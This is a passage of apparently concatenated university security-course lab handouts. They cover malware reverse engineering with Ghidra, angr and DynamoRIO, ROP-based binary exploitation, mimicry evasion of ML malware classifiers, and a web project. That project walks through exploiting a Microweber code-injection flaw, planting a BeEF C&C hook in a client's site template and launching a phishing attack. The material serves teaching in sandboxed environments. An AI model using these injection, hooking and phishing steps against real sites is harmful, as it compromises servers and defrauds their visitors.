Ghidra to detect the real CMD Dispatching logic. To do so, you need to analyze each candidate function until you find the actual CMD Dispatching logic. ● Second, after discovering the CMD Logic, you are required to construct symbolic execution scripts using angr which will output whole or partial inputs for each behaviour. ● Third, you have to properly trigger the malicious behaviours and execute them during concrete execution. The Dynamic Execution Trace will show the malicious activities performed by the malware samples. Available Artifacts (Free Lunch?) ● Last week, One of your colleagues analyzed a sample malware (sample.exe) last week and created a report. ● That malware looks very similar to the malware malware1.exe which is one of the three malware samples you will analyze for the next two weeks. ● That report is quite informative. ● Fortunately, the report is open to your access and you can take advantage of your colleague’s report and findings. ● Having said that, the report lacks of how to actually execute the behaviour. Your colleague was failed to show the effects on OS such as file system or network operation. Hence, the colleague was failed to prove the nature of the malware sample. Tutorial (your coworker’s report) Let’s scrutinize the report for sample.exe.Before you begin ● Set up a Virtual Machine for Malware analysis ○ Please install/update to the latest version of VirtualBox ■ https://www.virtualbox.org/wiki/Downloads ● Download the VM image ○ Download the project VM from the following link ■ https://drive.google.com/open? id=1a_1U2UQKQ0268NApFnFHfV2HETZZEu4Z ■ Note: students have the freedom to adjust VM specs after import Before you begin ● Open VirtualBox ○ Go to File -> Import Appliance. ○ Select the ova file and import it ● VM user credentials ○ Ubuntu VM password: 123456 ○ Windows 7 VM Password: 123456 Project Structure ● VM Structure ○ A Windows 7 VM inside Ubuntu 18.04 VM ■ Windows 7 VM for dynamic analysis ● Target Malware can be executed in Windows 7 VM ■ Ubuntu VM for static analysis ● A container to block malware from going out Project Structure ● In the Windows Virtual Machine(VM) ○ C:codeconcrete_executor ■ $python run.py ##will run the tracer program ■ racer ## tracer folder(where you need to write some code) ○ C:codedynamorio ■ Dynamorio source code and already built client ○ VBOXSVRVM_Share ■ Shared folder with host VM● Go to Ghidra folder and Run Ghidra ■ $ ./ghidraRun ● Use “import file” to import binary into Ghidra project● Double click on the binary file that appears under the project to open Ghidra GUI and analyze the binary. Then close the GUI and Ghidra completely to save the result into Ghidra database ● There will be an warming about PDBs, which won’t affect your analysis● In order to have some basic knowledge of the malware, you usually start by analyzing it using a disassembler like Ghidra, Radare2, BinaryNinja or IDA pro, while Ghidra is free and open source (NICE). ● Meanwhile, lucky enough that your coworker sent you a static analysis tool based on Ghidra, which detects the possible dispatching logics. Then all you need to do is to iterate over the candidates and determine the real dispatching logic. ● To use the provided Ghidra Script ● Close Ghidra project GUI ● In /ghidra_9.1.1_public folder, go to /support, you will find a file called: analyze.sh ● This wrapper script runs the ListFunctionAsCodeBlock.java script with a headless analyzer and pipes the output into output.txt ● Usage: $ ./analyze.sh {malware.exe} ■ (just the file name is enough, no need to append PATH) ● To be able to run the script, you MUST first analyze the malware in Ghidra and save the result into Ghidra database ● Note: Ghidra must be closed completely, in order to run the headless script● The script will output top 50 longest chain of basic blocks that uses certain variable in the end. ● To view these chains, run $tail -53 output.txt● Reopen the Ghidra GUI ● Inside the Symbol Tree, you can find a folder called Functions. ● The first function in your coworker’s Ghidra script’s output is FUN_00804d32, so you decide to double click it● The Decompile window on the right gives you the decompiled version of the function that you just double clicked. And you could check the logic of this function in a more readable form● You notice that there is the dispatching logic between line 25 to line 31 (lucky!)● You want to see a clearer form of the control flow graph, so you click on the Display function graph button and the CFG pops up.● After knowing some possible information about the dispatching logic, you want to construct symbolic execution script using angr to output whole or partial inputs for each behaviour. ● Note: Your script should run with python3 ● In essence, You want to find some keywords that will trigger the malware’s activities ● Let’s take another look at our CFG for the Dispatching Logic ● This chain of basic blocks(0x804d6a, 0x804da2, 0x804db6, 0x804dca) is responsible for the dispatching logic. ● The chain uses a function to determine the triggering logic — strstr. ● All the strstr functions takes the EAX register as a pointer to the first parameter and some constant as a second parameter. ● Since all the second parameters are constants, we should focus on the first argument which is pointed by EAX. ● If you go backward from the chain of basic block, you can see EAX value is determined in basic block 0x804d6a. ● The call instruction to lstrcpyA at 0x804d79 will copy the buffer pointed by ESI to the address held by EAX — EAX being the first argument and ESI being the second argument for lstrcpyA. ● However, the source of the copy operation is also another register. ● We need to perform further static backward slicing to detect the original source of the command. ● While going backward in the CFG, you will see the last update to the ESI register is performed at 0x804d44 with mov ESI, [EBP + 8] . ● In x86 calling conventions (e.g. cdecl, stdcall), EBP+8 points the the first argument passed to the function. ● Hence, we now know the symbolic analysis needs to solve the value of the first parameter (EBP + 8) passed to the function 00x804d32. ● Now, we know where the variable that is passed to the malware resides, and can find keywords that reach the target function in the malware! ● Fortunately, your colleague also had a symbolic execution script for sample.exe (NOTE: sample.exe is similar to malware1.exe!). ● The report also shows the start and end addresses for the symbolic execution — start:0x804d32 end:0x804dde ● From your terminal go to ~/Desktop/symbolic_execution/ folder and run ○ python sample_inputs.py –start 0x804d32 –end 0x804dde ● It will print out one of the concretized inputs that malware requires to expand its malicious behaviour.Tutorial – Symbolic Execution ● However, there is no free lunch. ● Using the same start and end addresses, you need to find all the commands. ○ Let’s analyze the code snippet below. When performing symbolic execution, symbolic execution engine can find the path condition for ddos_attack as message[0] = 101 ○ Once we already explored ddos_attack, you need to explore other branches now. ○ To explore other branches, you need to add constraint such as message[0] != 101, hence the path conditions for ddos_attack becomes infeasible. ○ Once, you are done with send_spam, keep adding the condition inverses to explore other behaviours. ○ Copy sample_inputs.py as malware1_inputs.py, and modify the code. ○ Add a constraint for each found input such as ■ parameter[0] != found_input[0] ○ Extra hint: you should use ○ an inverse_constraints array to output all strings at one ○ run Tutorial – Symbolic Execution Extra Help for Angr: Angr’s Solver Engine: Claripy && How to add constraints https://docs.angr.io/advanced-topics/claripy https://docs.angr.io/core-concepts/solver Tutorial – Dynamic Analysis ● Now, it is time to practice Dynamic Binary Instrumentation and Dynamic Trace Analysis. ● For this purpose, we already have a DynamoRIO client to capture the API traces and Basic Block addresses captured during concrete execution. ● Your colleague’s report also shows how to use and manipulate the values of the function arguments. ● The report shows the execution successfully reaches to the 0x804dde. ● However, your colleague again failed to capture and prove what malware is doing.● We need a secure experiment environment to execute the malware. ● Why? ○ Insecure analysis environment could damage your system ○Encrypting your file during a ransomware analysis ○Infecting machines in your corporate network during a worm analysis ○Creating a tons of infected bot client in your network during a bot/trojan analysis ● The solution: ○ Contain malware in a virtual environment ■Virtual Machine ■Virtual Network ● Conservative rules(allow network traffic only if it is secure) ● Run $sudo iptables -A OUTPUT -o enp0s3 -j DROP: ○ DROP all — anywhere anywhere ● You can check if the rule exists by typing ○ $sudo iptables -L ● Keep the firewall rule to prevent malware traffic going out. ● Although static analysis could give a lot of information about the malware, it’s important for malware analyst to see how the malware behave when it’s executed ● Your next task is to use Dynamorio to perform dynamic analysis. ● With provided code in C:codeconcrete_executor ● You can feed the malware different input to see what the malware will do ● Run Windows 7 VM in the VirtualBox in ubuntu VM ● Password: 123456Tutorial – Dynamic Analysis ● You are given a snapshot (Base) to act as a backup for your analysis ● If something bad happens on your Windows7 testbed, always revert back to the basecamp snapshot. ● Basic Structure: ■ C:codeconcrete_executor ● Directory contains Dynamorio scripts ● run.py: python script to run the Dynamorio server ■ VBOXSVRVM_Share ● Shared folder with host ubuntu VM ● You can find VM_Share on ubuntu desktop ● In VM_Share ■ Malware/ ● where you need to put the malware sample ■ analysis/ ○ mw.analysis : dynamorio task assignment file ○ sample/ : sample folder ● sample/: contains a copy of sample.exe and trace files that dynamorio returned by running the sample.exe in windows VM ● To assign a task to the Dynamorio script server, first write the following into mw.analysis file: trace release only_config_libcalls {binary name} {starting address} {folder name} e.g. trace release only_config_libcalls sample 0x800000 sample (as the program starts from 0x800000)● To run the Dynamorio server: open WIN7 VM ● open command prompt with admin privilege ● Search “cmd” and right click on the cmd ● Select “run as administrator”● Go to C:codeconcrete_executor ● Run > python run.py ● No need to worry for some copy failed error messages in the output, It’s for other purposes. As long as you can see trace file copied over to the shared folder, the tracer program should be running correctlyTutorial – Dynamic Analysis • After the script finished running, it wrote “DONE” back in the mw.analysis file. • If you want to re-analyze the same task, Delete “DONE”, go back to WIN7 VM and execute python run.py in C:codeconcrete_executor ● The trace file will be copied back to the shared folder where the malware sample sits● Now that you obtained the trace file, you need to analyze the malware traces to find out how to trigger the behaviors ● There will be some break-points set by Dynamorio around certain behavior. Check out the code block that contains the actual BRK address in Ghidra and find a way to lure the malware into your desired path. ● Analyze the trace files to see the default behavior of malware sample. ● while checking the first trace file, we found that after sample.exe thread inits, it invoked few kernel operations to manage the key and file and then created three more threads ● As you can see, after threads have been c r e a t e d , t h e m a l w a r e c a l l e d GetModuleFileNameA and started tons of ReadFile operations ● It should be an indication that this malware is trying to find/read from certain file/ directory/socket in the system! ● Details for win32 api calls please see: https://docs.microsoft.com/en-us/windows/ win32/api/fileapi/nf-fileapi-readfile ● At the end of first trace file, the malware creates 4 socket connections. After recv returns, one more thread is created and it then issued a send. ● Em, Interesting internet connection found here. Maybe it’s worth digging into in the other trace files for break points to see what they are really doing. ● The rest of the trace files contain a more detailed version of traces that have breakpoint address set both before and after the kernel operations you found in the first trace file. Now it’s the time, you should go back to static analysis to check the break point address in the disassembler to see what the malware is doing at that time.Tutorial – Dynamic Analysis ● You can also use Ghidra to find and analyze all the breakpoint address to see the actual trace where malware execute through ● If necessary, find the code block and the corresponding checking instruction that is preventing the malware from going further to the code blocks containing c2-command (you should already know the target function that contains the dispatching logic from static analysis and the triggering command that you need to feed into the malware to activate the behavior) Tutorial – Dynamic Analysis ● How can you wrap the data to define what its value is? ● Add following two functions in C: codeconcrete_executor racerlibcall_handler.cpp with their declaration in .h file: static void wrap_pre_target(void *wrapcxt, OUT void **user_data) { char *buf = (char *) drwrap_get_arg(wrapcxt, 0); strcpy(buf, “[Symbolic Execution Generated String]” ); } static void monitor_target_function(void *drcontext) { app_pc tgt_function = (app_pc) 0xADDRESS; drwrap_wrap_ex(tgt_function, wrap_pre_target, NULL, NULL, 0); } ● Read more about how to wrap functions in Dynamorio using this link Tutorial – Dynamic Analysis ● Check the given skeleton code for more insight on how to feed malware the correct input ● In order to compile your edited code, execute build.bat in the Windows VM ● Once you build the code, reset the Dynamorio task by deleting the “DONE” in mw.analysis and run >python run.py in C: codeconcrete_executor ● Dynamorio will give back new traces. ● Analyze the traces with Ghidra to see if any more barriers exist that prevent malware going to the target function ● Record any meaningful behaviors in the Excel sheet along the way. Explore all behavior for malware1.exe and malware2.exe Tutorial – Dynamic Analysis ● For malware2: ○ In libcall_handler.cpp ■ Modify wrap_pre_target(void *wrapcxt, OUT void **user_data) ■ monitor_target_function(void *drcontext) ■ Inside wrap_pre_lib(), (hook the internet api call to emulate attackers command) ○ In tracer.cpp ■ You are encouraged to add code in instr_should_instrument() and event_app_instruction() to manipulate malware instructions to pass or bypass certain condition check. ■ Helper link: http://dynamorio.org/docs/API_BT.html Summary ● You are given three malware samples: ■ malware1.exe (mydoom1.exe) ■ malware2.exe (win33.exe) ■ malware3.exe (unknown.exe) ● We suggest you analyze in the order as following: ■ malware1.exe, malware2.exe, malware3.exe ● We also provided you with angr skeleton script sample_inputs.py in ubuntu VM to better analyze the behavior, you can check out the code and add more to it ● None of the tools provided will promise to work on this one. Just try your best. Additional Help for Malware 3 As you already knew/will know that Malware 3 is obfuscated by the malware author, which is most of the case in real day life. One of the most important thing for Malware Analyst is to recover the real payload of malware. Considering your life and happiness, we deobfuscated the first two malware(free lunch here:>) and left the third intact malware sample that we collected from the network for you to learn some deobfuscation. Obfuscation: https://www.mcafee.com/blogs/enterprise/malware-packers-use-tricks-avoid-analysis-detection/ https://www.vadesecure.com/en/malware-analysis-understanding-code-obfuscation-techniques/ Deobfuscation: Resources ● Ghidra: ■ https://vimeo.com/335158460 (1h thorough introduction video) ■ Other tutorials available online ● Dynamorio ■ http://dynamorio.org/tutorial.html ■ https://github.com/DynamoRIO/drmemory/tree/master/drltrace ■ https://github.com/mxmssh/drltrace ● Angr ■ https://docs.angr.io/core-concepts
CS 6264-OCY Overview Welcome to your new job as a penetration tester at TotallySafe Inc.! As a new member of the team, your manager comes to your cubicle and begins to talk about your first assignment. “…and you won’t be able to use a debugger as they have compiled it using anti-debugging techniques.” “Wait. What?” You should have been listening to your new boss from the beginning. “As I said, we want you to find THREE binary exploits in this application without needing a debugger. I expect this to be done in 3 weeks.” “How…” “Just get it done!” Your boss cut you off before you could finish. “The exploit would most likely be a buffer overflow, so start there.” This is going to be a looong career… you think to yourself as you pore over documentation on fuzzing tools and ROP-chain generators. Assignment The purpose of this assignment is to assess your ability to find tools that can help you create a binary exploit involving Buffer-Overflow, ROP chain, Use-After-Free. Note that you will not be able to use a debugger such as GDB in order to investigate a crash. We have also compiled it without debugging symbols to make reversing the binary more non-trivial (although not impossible) for you to encourage you to use the open-source tools. Furthermore, we have enabled DEP, meaning that any shellcode will be non-executable on the stack. If you do wish to debug, you will need topatch the binary yourselfLinks to an external site. . Lastly, we have $ checksec ./target Deliverables • The exploit: this should be a script you use to send some payload to the binary. We should be able to directly run the exploit to see the content of the file. Save your exploit as a Python file called exploit.py o Task1 – 20 pts o Task2 – 50 pts o Task3 – 10 pts (Bonus in Writeup) • A writeup: Save your writeup as a PDF file called writeup.pdf. This is worth 40 pts (10pts for task1, 20pts for task2, 10pts bonus for task3). This should include: o Detail the steps you took to find the exploit o Detail the steps you took to exploit the vulnerability o For example(task2): ▪ List the syscall functions you chose to execute to read the contents of the file and why those were selected ▪ List the gadgets you used for your ROP-chain and why those gadgets were selected • Bundle all files in a tarball in the following format: [GT Username]_cs6264_lab1.tar.gz. For example, a submission would be dzhang377_cs6264_lab1.tar.gz. • NOTE: If your submitted exploit does not work, include the approach you took to exploit the vulnerability in the write-up, as well as why you think it did not work, so partial credit can be given. Partial credit will also be given for the exploit code, so make sure to submit whatever you have.● Basics of Binary Exploitation ○ Fuzzing ○ Finding overflow location ○ Leveraging overflow ● Binary Exploitation Defenses and Bypasses ● Further Reading Basics of Binary Exploitation Fuzzing ● Sending unexpected or invalid inputs to program to see if it crashes > ./program1 aaaaaaaaaaaaaaaa (no crash) > ./program1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (no crash) > ./program1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Finding overflow location ● After an overflow is found, you will want to gain execution by controlling the value of the instruction pointer register (EIP) ● If an overflow exists in the stack, you are able to control the value of the EIP as the return address is popped off the stack upon a function return ● Location (offset) of return address can be found by having a unique string (i.e. Aa0Aa1Aa2Aa3…), then checking the value of EIP after the crash to find the location of that substring in the fuzzing string Fuzzing (cont.) ● Both processes can be automated with Angr: ○ Initialize an Angr project that will execute the binary ○ Initialize a simulation manager based on the project ○ Create a stash in the manager to put dumps of runs in which the memory is corrupt (i.e. sm.stashes[‘mem_corrupt’] = []) ○ Let the manager step through the program until it reaches an unconstrained state (i.e. a crash) ○ Check if the program can let the PC register point to a specific value while in the unconstrained state ○ If so, you have a memory corruption! If you print the input that allowed the simulation manager to reach this state and count the number of bytes until your specific value, you now know the offset at which you overwrite the return address!Leveraging Overflow ● 2 main methods for program execution ● Shellcode ○ Directly execute shellcode from the stack after injecting a POP-RET gadget into the return address ○ After program POP-RETs, the EIP will be pointing to the top of the stack where the rest of the shellcode resides and will execute the shellcode ○ Can be generated with shellcraft module in pwntool Leveraging Overflow (cont.) ● Return-Oriented-Programming (ROP) ○ Usually used when you can’t execute code (i.e. instructions) on the stack (i.e. DEP is enabled in the binary) ○ Instead of actual instructions being on the stack, addresses to those instructions are inserted on the stack instead (called gadgets, must end with a RET instruction to get back to stack) ○ For example, you can execute some syscalls ■ Normally, an OS doesn’t allow the user/program to perform certain actions (i.e. opening a file, allocating memory, cleaning up a program after it exits, etc.) ■ If a user/program wishes to perform these actions, you will need to use a system call ■ Basically acts as an API to the underlying OS to execute those restricted actions Example: Setting up an OPEN syscall to open ‘flag’Binary Defenses and Bypasses Binary Defenses and Bypasses ● Traditional Defenses – discussed in lectures ○ DEP – bypassed with ROP ○ ASLR – bypassed if you can leak an address like libc base or stack address ○ Canary – bypassed if canary is static and found by reversing binary ● Custom Defenses ○ Seccomp: limit the types of syscalls that you can make ■ Thus, if you wanted to make an exec() syscall, the program will exit with a SIGKILL or SIGSYS ○ Anti-debugging: prevent someone from attaching a debugger to the binary for reversing Binary Defenses and Bypasses (cont.) ● How to bypass custom defenses? ○ Seccomp ■ Can’t really bypass, so you will have to work within the limitations set by the binary ■ However, you can check what syscalls are allowed with Seccomp-tools ○ Anti-debugging ■ Find where the check for anti-debugging software happens in disassembler ■ Patch out the check in the binary so that you can attach a debugger ■ For example, maybe it checks a specific string value that will always be true when a program is run in with a debugger (hint, hint) ■ Then, you can either edit the bytecode to have a different test (i.e. changing JNZ to JZ) or edit the string it compares to to a different string Further Reading Automated Fuzzing Resources Uncover buffer overflow example (check #piecing-it-together for a full walkthrough) https://breakingbits.gitbook.io/breaking-bits/vulnerability-discovery/automated-exploit-development/ buffer-overflows angr solver example (while loop at line 67 is another example of finding the offset to overwrite the PC) https://github.com/angr/angr-doc/blob/master/examples/insomnihack_aeg/solve.py Seccomp Resources (secure computing mode) linux kernel security facility (first paragraph is a good overview) https://en.wikipedia.org/wiki/Seccomp Seccomp-bpf (third paragraph of the Wikipedia article is a helpful overview) an extension to seccomp that allows filtering of system calls seccomp-tools: tools for seccomp analysis AKA check what syscalls are allowed (check #command-line-interface for instructions for how to run) https://github.com/david942j/seccomptools Binary Patching Resources Patching with Ghidra at 3:35 https://www.youtube.com/watch?v=8U6JOQnOOkg with vim, Binary Ninja, Ghidra and radare2 https://www.youtube.com/watch?v=LyNyf3UM9Yc
Lab 7: Supplementary Information CS 6264-OCY “…and we aim to show stronger improvements starting next fiscal quarter.” This all-hands call is taking forever, you think to yourself while daydreaming about where you should go for your holiday in two weeks. “…will be taking the lead with our next client. We expect great things from them.” Wait. Did your boss just say your name? “The client is an IDS vendor whose product uses machine learning models to identify malware. However, they have noticed that their models are frequently evaded and hope that we can find out why.” You don’t remember being told about this, but at this point, you guess you’re used to it. You’re just thankful your coworker was taking notes Actions during the meeting and he gave you some Actions tutorials Actions on MLSploit, a framework you are expected to use. And later, you found some information about the attack. Assignment The purpose of this assignment is to gain experience with training machine learning (ML) and deep learning (DL) models classifying Windows portable executable (PE) malware into families. Specifically, the models will be given two different datasets: benign PE files and malicious PE files from multiple families. After training a DL models, you will attack those models using an evasion attack called the Mimicry Attack. Then, you will be tasked with improving the models which were attacked. Finally, you will train a ML model using different features and see if the mimicry attack still work. You will write a report about your experiences and observations. There are 5 tasks and a bonus task you will need to complete for this assignment. They include: • Training DL Models (10%): Train LSTM, CNN, and RNN models on API call sequences. • Attacking DL Models (10%): Attack models via mimicry attack. • Detecting Attack (20%): Train model based on static features to detect the attack sample. • Training ML Models (10%): Train classical ML models on API call existence, frequency, and arguments. • Transferring Attack (10%): Run the mimicry attacks in controlled environment and evaluate the ML models. • Attack ML Model using RL (10% bonus): Train ML model using ember and train RL model to evade the ML model. You will also need to compile a report (40%) that should contain screenshots of your findings and explanations for why the certain screenshot happened. For example, if your screenshot is comparing the results of how well different models detected the attack in Task 2, then an explanation for why the results differed should be included. To complete the tasks, you will also need these files Download these files. Supplementary Material: Lab 7_Supplementary_Material.pdf Actions , Task 3 TemplateDownload Task 3 Template Deliverables Compress the deliverables for each task into a .tar.gz file called [GT Username]_cs6264_lab07.tar.gz with the following directory layout: • task1/ o pe.model.zip o prediction.zip o *.log.txt files • task2/ o attack-exe.zip: the attack samples generated from MLSploit to evade your models o attack-feature.zip o attack-prediction.zip o attack.cfg.zip: Configuration file from MLSploit o *.log.txt files • task3.a/ o detection1.py: Source code (preferably in Python) that will train a new model that will detect the attack from the previous task o detection2.py o detection3.py o (others here if you wish) • task3.b/ o model1.zip o model2.zip o model3.zip o (others here if you wish) • task4/ o pe.model.zip o prediction.zip o *.log.txt files • task5/ o task1 model/ ▪ prediction.zip ▪ *.log.txt files o task4 model/ ▪ prediction.zip ▪ *.log.txt files • report.pdf: This report should contain screenshots of your findings and explanations for why the certain screenshot happened. For example, if your screenshot is comparing the results of how well different models detected the attack in part 2, then an explanation for why the results differed should be included. • bonus/ o model.zip o *.log.txt files o ember-attack.zip o *.log.txt files existence (https://github.com/ytisf/theZooLinks to an external site.). We have not applied any static obfuscation to them so they should be easily detectable by AV companies. You are to use these binaries responsibly by only reading their byte contents (e.g., using tools like https://github.com/erocarrera/pefileLinks to an external site.).Overview ● Introduction ● Training Deep Learning Models ● Attacking Deep Learning Models ● Defending DL Models with ML ● Cat and Mouse ● Further Reading Introduction ● However, these malware variants will generally all have the same behaviour across different variants ● One way to detect an entire family of malware is to train a machine learning model based on the behaviour of a malware family so that if the model sees a new variant, it will still be able to classify the malware as from a specific strain ● This makes it not only faster but can allow you to scale your malware detection up than classifying each malware by hand ● Just like the pattern-recognition Host-Based IDS you created in lab 3, these models classify and identify syscall sequences (among other parameters) MLSploit ● Helps you train and test different machine learning solutions against machine learning attacks ● Made with a simple GUI for usability● See tutorials in lab files for more information on how you should operate MLSploit Training a DL Model ● To explore the world of machine learning security, we will first construct a few models to test later ● We want to test LSTM, CNN, and RNN models ● You can change the window size (i.e. length of the sequence of syscalls that the model will compare at each time) on the right size of the UI for more accurate models ● A full-length tutorial can be found in Canvas called Lab07_PE_Module_Tutorial.pdf Attacking a DL Model ● Now that our models are created, let’s see how easily they can be attacked (AKA tricked into thinking a malicious file is benign) ● In MLSploit, we will create a new pipeline that will first perform a “mimicry attack” against a benign application to figure out what a benign application might do to evade the machine learning model ● Next in the pipeline, we transform the benign application by injecting 10 different shellcode chunks into it, creating 10 samples that might evade the machine learning model by making it think that it was benign ● These steps are also detailed in the same tutorial Identifying Malware Meant to Trick DL with ML ● As we have learned in this course, combining both static and dynamic analysis makes for much more robust malware identification ● To incorporate static analysis into our process, we will need to train an ML model on static features of normal programs to identify differences in one that was injected with a mimicry attack ● We have provided static features of benign programs for you, so first we will extract features of the malicious programs you created in the previous step ● We will be using EMBER ● To extract features like EMBER, check out how PEFeatureExtractor is used by scripts/ember_init.py● After you have static features extracted for both, let us move on to training a model to identify malware based on static features ● First, we must prepare the data for the ML algorithm ● Note that we are using a classification algorithm as this is a classification problem ○ We have some labels (malicious vs. benign) and we want to put them on a set of THREE features ○ First, we make a table with features and a label for eat set of features ● Next, we will split this table into the table of features and the table of labels ● You can do this with numpy.hsplit() or numpy.split(axis=1) x, y = numpy.split(dataset, [-1], axis=1) ● Now, you can create a training set with scikit-learn’s train_test_split() method ● This will output a training and testing array for both features and labels for the ML algorithm to use ● Now, we can finally train a model ● Initialize a classifier like the DecisionTreeClassifier ● Then, use the class’ fit() method to train your model ● To figure out the accuracy of your model, first use the model to predict labels for the test array of features, and then get the accuracy score using sci- kitlearn’s accuracy_score() method y_pred = dt.predict(x_test) print(accuracy_score(y_test, y_pred))Cat and Mouse● You can do something similar with MLSploit ● Follow the tutorial included with the project and create traditional ML models ● You can also try to run the same attack from before against these models Further Reading Useful Example Code Mlsploit-pe (has useful fork of EMBER) GitHub – evandowning/mlsploit-pe: MLSploit PE moduleScikit-learn documentation API Reference — scikit-learn 0.24.1 documentationML Evasion Mimicry attacks on host-based intrusion detection systems | Proceedings of the 9th ACM conference on Computer and communications security [1804.04637] EMBER: An Open Dataset for Training Static PE Malware Machine Learning Models (arxiv.org)[1801.08917] Learning to Evade Static PE Machine Learning Malware Models via Reinforcement Learning (arxiv.org)
Note: Please make sure you have a GUI-enabled Linux OS (e.g., Ubuntu VM, WSL to work on this project. Table of contents Disclaimers Objectives Checklist of Downloaded Project Files Tasks Role 1 Attacker 45% Task 1.1 Exploit Discovery 15% Task 1.2 Compromise 30% Role 2 Forensics Investigator 55% Task 2.1 Auditor Tool Development 25% Task 2.2 Attack Investigation 30% Submission Disclaimers Objectives With this project, you will be able to understand the big picture of how common web attacks can happen in the real world by playing two roles typically involved in the attack: Attacker Understand the concept of code injection and its potential impact on a web server. Be able to compromise a web server by exploiting a code injection vulnerability and inserting attack payloads into websites. Be familiarized with the use of browser exploitation framework beef. Understand how common web attacks (e.g., phishing, drive-by download, page redirection) work. Forensic Investigator Understand and be able to develop auditing tools for Chrome browser through Chrome DevTools Protocol to log browser activities. Be able to construct causality graphs through neo4j based on logs collected. Be able to write neo4j queries to identify attacks based on their patterns in the causality graph. Checklist of Downloaded Project Files auditor The code template you will work on. assignment_questionnaire.txt The questionnaire where you put your answers. Tasks Role 1 – Attacker (45%) During reconnaissance, you found the following information. Your opponent Bob hosts his websites on a cloud server. The service provider runs all the customersʼ services on the same server with no isolation (which is a bad practice!!!. Another web service running by the service provider, named Microweber, has a known code injection vulnerability. With these insights, you made a smart plan to mess with Bob and his clients. Purchase a membership from the service provider to use the Microweber service, disguising yourself as a legitimate customer. Exploit the known code injection vulnerability to take control of the server. Insert malicious scripts into HTML files of Bobʼs websites stealthily to mess up with Bobʼs clients. In this way, from the affected clientsʼ point of view, the attacks are from Bobʼs website. As a result, Bobʼs reputation gets undermined, and he loses clients as time goes by. After you have got the membership, you are permitted to register as an admin to further use the Microweber service. Open the project page: https://cs6264.gtisc.gatech.edu/ Log in with your GT account from the top right corner. Click on the start button and you will see two docker containers started for you. Note: if later you accidentally crash the services (likely to happen when you test out your code injection w/ illegal payload), you can always come back to this page, stop and start the services again to get a fresh environment. Enter the Microweber, scroll all the way down, register a Microweber admin account (any credential is fine), and hit Install. It will take a little time for the installation to complete. Once installation is done, you will see your admin console page. Now itʼs time to exploit! Task 1.1: Exploit Discovery (15%) Background It is common for websites to take user inputs, store them in the database, and use them later. A simple example is an online service that: a Takes your username during registration b Stores the username you submitted in the database. c Retrieves the username from the database to display it on your profile page when you log in. What happens under the hood is that when you log in after registration, before the server delivers your profile page, it first constructs your profile page by dynamically filling the value of the username field in a profile page template with your username retrieved from the database. Combined with those two features, can we do something nasty? The answer is YES! As you probably have figured out, you can set your username as {{`malicious code does something nasty`}} so that your “usernameˮ will be parsed and executed as code and do nasty stuff during the profile page construction on the server. A common practice to prevent this type of attack is to sanitize user inputs by turning them into inexecutable strings. However, sanitizations are not always correctly implemented. The Microweber website is an example — one of the user input fields lacks proper sanitization and is vulnerable to code injection attacks. Steps: After installation, you will see your profile page. To help you narrow down the search space, we give you a hint that the injection point is somewhere in the profile information. Go to Users and click on Edit profile. Then you will see the following user information. Try to set an input field with an exploit string (you can choose any command you like, here we use pwd as an example) and save. Note: here the Username input field is just for demonstration purposes. You should choose another field. Then go back or refresh the Users page and see if you observe anything interesting. If you see the output of the executed pwd command: /var/www/html in the Users page, congrats! You have found an injection point! Note 1 You should see the execution result on this Users page, as opposed to the Edit user page in the last step (which only show partial result). Note 2 Make sure the Users page is reloaded after you save your exploit input. The injected command will not get executed until the Users page is reloaded. Now modify your injected command to get your hash stored inRubric Question Deliverable Credits Q1.1 Secret hash 15% Task 1.2: Compromise (30%) Description Steps Locate the directory of Bobʼs website and assets directory of clients. Clientsʼ directories are normally organized together under the same parent folder, just like /home in Linux. To help protect the clientʼs privacy, the service provider names a customerʼs assets directory with the MD5 hash of the clientʼs name (e.g., MD5ˮBobˮ). Be careful about the letter cases.) instead of the clientʼs actual name (i.e., Bob). Your goal is to locate the client assets directory (parent directory of Bobʼs directory) and submit it to Q1.2.1 in the questionnaire. Note: you should submit the exact directory name, NOT the directory path (see the example below). Any additional characters (e.g., / ) in your submission will cause a mismatch and lead to 0 pts during autograding. Hints: Many online MD5 generators are available. You can use the Linux find command to search for Bobʼs directory. You can use / (root location) or .. (parent folder) as the search location to help you. In the example below, your answer submitted to Q1.2.1 should be clients_assets . $ find / -iname client_md5 Result: /xx/xx/clients_assets/client_md5 Find the best template file to insert the malicious script payload. Hints: Think about what type of data you are trying to insert into the website. The correct template file has a hint at the beginning of the content indicating you have found the correct one. You donʼt need to check files in the sub-directories. All you need to do is examine the HTML files right under the templates directory. Insert the malicious script into the target. Once you have found the best template file, the next step is to insert the malicious payload. A smart practice attackers typically follow is that instead of deploying a one-time attack, they install a remote hook on the victimʼs page/machine that can connect to an attacker-owned Control and Command C&C server. When the remote hook gets triggered (the infected webpage is open), it constantly emits heartbeats to the C&C server to notify the attacker a zombie is online. Then the attacker can freely issue any preconfigured attack commands to the zombie. In this project: We use BeEF as the C&C console, which you can find on the project page. The username and password are both: beef_for_cs6264The remote hook to install in the template HTML should contain the following. Find your BeEF port number here. Hints: The src property in the tag has to be present at a minimum to make it work. Your goal is to insert the remote hook above through code injection techniques into the template file you found. In this way, Bobʼs webpage gets infected when importing the infected template file. Hint: “ˮ in user inputs are commonly sanitized by the server (try it out and see what happens!, which means you probably cannot include them in your command. You can use any solution as long as it does the work Find and replace? Download from network? Or more?. You are encouraged to look up online resources and learn along the way of trying various possible solutions. To verify If your attack is successful, visit Bobʼs webpage like a normal client. When a user opens an infected webpage, the IP of the connected victim (which is you in this test) will appear in BeEFʼs console. Issue an attack Select the victim (you) under the Online Browsers , then issue Commands → Social Engineering → Google Phishing attack and observe what happens to Bobʼs webpage. If the attack succeeds, you will see that the original page turns into a phishing page with a hash string at the bottom. Submit this hash to Q1.2.4 in the questionnaire.Rubric Question Deliverable Credits Q1.2.1 Client asset directory 5% Q1.2.2 Best template file to compromise 5% Q1.2.3 Hash on the phishing page 20% Role 2 – Forensics Investigator (55%) Congratulations! At this point, you have successfully deployed and tested the attack. Now itʼs time to look at this story from the point of view of another crucial role — the forensics investigator. As a forensics investigator, your job is to find the evidence of any attacks that happened to a victim. To approach this goal, you come up with the following plan: Construct a causality graph by connecting discrete information pieces from the raw logs. Find evidence of attacks in the causality graph based on patterns of attacks. Task 2.1: Auditor Tool Development (25%) Description In the first step, you need to develop a handy tool to log and model the activities happening in the browser. To help take away the engineering burden from you, we have helped you implement most of the auditing tool (however, you are encouraged to go through all the code), so that you can focus more on learning the concepts and philosophy of modeling browser activities we provide in the supplementary document. Steps: Read the supplementary document to 